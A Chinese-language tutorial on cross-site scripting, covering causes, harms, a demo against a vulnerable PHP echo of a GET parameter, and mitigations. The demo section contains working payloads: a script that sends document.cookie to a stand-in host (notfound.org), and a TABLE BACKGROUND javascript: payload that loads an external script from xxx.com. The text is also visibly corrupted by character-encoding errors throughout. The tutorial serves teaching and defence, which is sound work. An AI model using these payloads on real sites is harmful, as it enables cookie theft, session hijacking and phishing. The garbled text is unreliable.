它指的是惡意攻擊者往Web里面插入惡意的html代碼,當(dāng)用戶瀏覽該頁面時(shí),嵌入其中的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。
XSS屬于被動(dòng)式的攻擊,因?yàn)槠浔粍?dòng)且不好被利用,所以許多人常常忽略其危害性。
【漏洞成因】
1、
CGi程序沒有對(duì)用戶提交的輸入數(shù)據(jù)進(jìn)行驗(yàn)證,沒有對(duì)對(duì)其中的的HTML代碼進(jìn)行過濾或者轉(zhuǎn)換
2、
沒有對(duì)包含不可信用戶輸入數(shù)據(jù)的輸出進(jìn)行編碼
【漏洞危害】
1、
獲取其它用戶Cookie信息
2、
修改、偽造頁面信息,進(jìn)行釣魚攻擊等
3、
其它
【原理演示】
1、
在頁面http://192.168.1.105/index.php

可以注冊(cè)或者登錄用戶,當(dāng)用戶填寫注冊(cè)后,在頁面login.php中顯示歡迎信息。

后臺(tái)代碼沒有對(duì)用戶信息進(jìn)行任何的過濾、編碼或者轉(zhuǎn)換。
if($_GET["user"])
{
echo "Register new
member:".$_GET["user"];
}
那么,這里就存在XSS漏洞,當(dāng)我們?cè)?/span>user文本框中嵌入javascript腳本,那么在歡迎網(wǎng)頁中運(yùn)行這段腳本如下:
<script>alert(“XSS”);</script>

運(yùn)用這個(gè)原理,那么我們?cè)?span lang="EN-US">user文本框中輸入下面的腳本:
<script>window.open("http://www.notfound.org/info.php?document.cookie")</script>
在IE6、IE9中自動(dòng)打開www.notfound.org網(wǎng)頁。


而在chrome12中,則不會(huì)出現(xiàn)問題,chrome12自動(dòng)將用戶輸入進(jìn)行了編碼,如下:
http://192.168.1.105/login.php?user=%3Cscript%3Ewindow.open%28%22http%3A%2F%2Fwww.notfound.org%2Finfo.php%3F%22%252Bdocument.cookie%29%3C%2Fscript%3E&password=&Login=Login
基于上面的原理,對(duì)于一些對(duì)輸入數(shù)據(jù)長度進(jìn)行限制的文本框,我們不方便寫入過長的內(nèi)容,可以在輸入框內(nèi)是引入一個(gè)外部的javascript腳本。動(dòng)態(tài)創(chuàng)建一個(gè)script標(biāo)記,代碼如下:
<TABLE BACKGROUND=
javascript: s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>
而在沒有有過濾的網(wǎng)站,將在展示的時(shí)候自動(dòng)運(yùn)行這個(gè)腳本。
通過這個(gè)原理,我們可以改變網(wǎng)頁的Dom結(jié)構(gòu),css樣式是網(wǎng)頁面目全非,或者是進(jìn)行釣魚攻擊。獲得用戶的password等敏感信息。當(dāng)然這些需要更加精細(xì)的偽裝。
【解決方法】
要避免受到跨站腳本執(zhí)行漏洞的攻擊,需要程序員和用戶兩方面共同努力:
程序員:
1. 過濾或轉(zhuǎn)換用戶提交數(shù)據(jù)中的HTML代碼,一切用戶提交的數(shù)據(jù)都是不可靠的。 首先代碼里對(duì)用戶輸入的地方和變量都需要仔細(xì)檢查長度和對(duì)”<”,”>”,”;”,”’”等字符做過濾;
2. 對(duì)網(wǎng)頁的輸出接口進(jìn)行編碼。任何內(nèi)容寫到頁面之前都必須加以encode,避免不小心把html tag 弄出來。這一個(gè)層面做好,至少可以堵住超過一半的XSS 攻擊。
3.在cgi程序進(jìn)行發(fā)布前,對(duì)網(wǎng)頁進(jìn)行XSS、CSRF檢測(cè)
4. Cookie 防盜
首先,避免直接在cookie 中泄露用戶隱私,例如email、密碼等等。
其次,通過使cookie 和系統(tǒng)ip 綁定來降低cookie 泄露后的危險(xiǎn)。這樣攻擊者得到的cookie 沒有實(shí)際價(jià)值,不可能拿來重放。
5. 盡量采用POST 而非GET 提交表單
POST 操作不可能繞開javascript 的使用,這會(huì)給攻擊者增加難度,減少可利用的跨站漏洞。
6. 嚴(yán)格檢查refer
檢查http refer 是否來自預(yù)料中的url。
用戶:
1. 不要輕易訪問別人給你的鏈接
2. 禁止瀏覽器運(yùn)行JavaScript和ActiveX代碼
3. 升級(jí)到最新的瀏覽器版本。
參考:
XSS攻擊詳解
http://wenku.baidu.com/view/73eaee8271fe910ef12df886.html
XSS跨站腳本攻擊原理:
http://yfyfj.blog.163.com/blog/static/1542478420112332114150/
Microsoft
Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page:
http://msdn.microsoft.com/en-us/library/aa973813.aspx
XSS攻擊原理與方法
http://blog.sina.com.cn/s/blog_51b6521b0100io5r.html
|